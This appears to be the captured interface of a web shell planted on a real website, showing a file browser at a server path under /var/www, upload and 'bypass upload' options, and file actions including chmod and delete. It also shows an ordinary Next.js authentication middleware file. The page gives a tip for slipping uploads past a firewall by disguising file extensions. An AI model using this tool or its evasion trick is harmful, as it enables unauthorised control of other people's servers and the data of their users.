Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
cookieconsent.bitkit.dk
httpdocs
src
File Content:
middleware.ts
// middleware.ts import { NextRequest, NextResponse } from "next/server"; export function middleware(request: NextRequest) { const { pathname } = request.nextUrl; const authCookie = request.cookies.get("auth"); // example cookie name: "auth" // Handle the root path "/" if (pathname === "/") { // If NOT authenticated, go to "/login" if (!authCookie) { return NextResponse.redirect(new URL("/login", request.url)); } // If authenticated, go to "/dashboard" return NextResponse.redirect(new URL("/dashboard", request.url)); } // 1) If NOT authenticated if (!authCookie) { // Protect /dashboard/* if (pathname.startsWith("/dashboard")) { return NextResponse.redirect(new URL("/login", request.url)); } // If user is not authenticated but going to login or register, // or any other public page, just allow it. return NextResponse.next(); } // 2) If authenticated if (pathname === "/login" || pathname === "/register") { // Already logged in; don’t allow them to access /login or /register return NextResponse.redirect(new URL("/dashboard", request.url)); } // If user is authenticated and visiting /dashboard or anywhere else, // just allow the request return NextResponse.next(); } // Ensure the middleware runs on relevant routes: export const config = { // This ensures the middleware triggers for: // 1. Root ("/") // 2. /login // 3. /register // 4. /dashboard and all its subpaths matcher: ["/", "/login", "/register", "/dashboard/:path*"], };
Edit
Download
Unzip
Chmod
Delete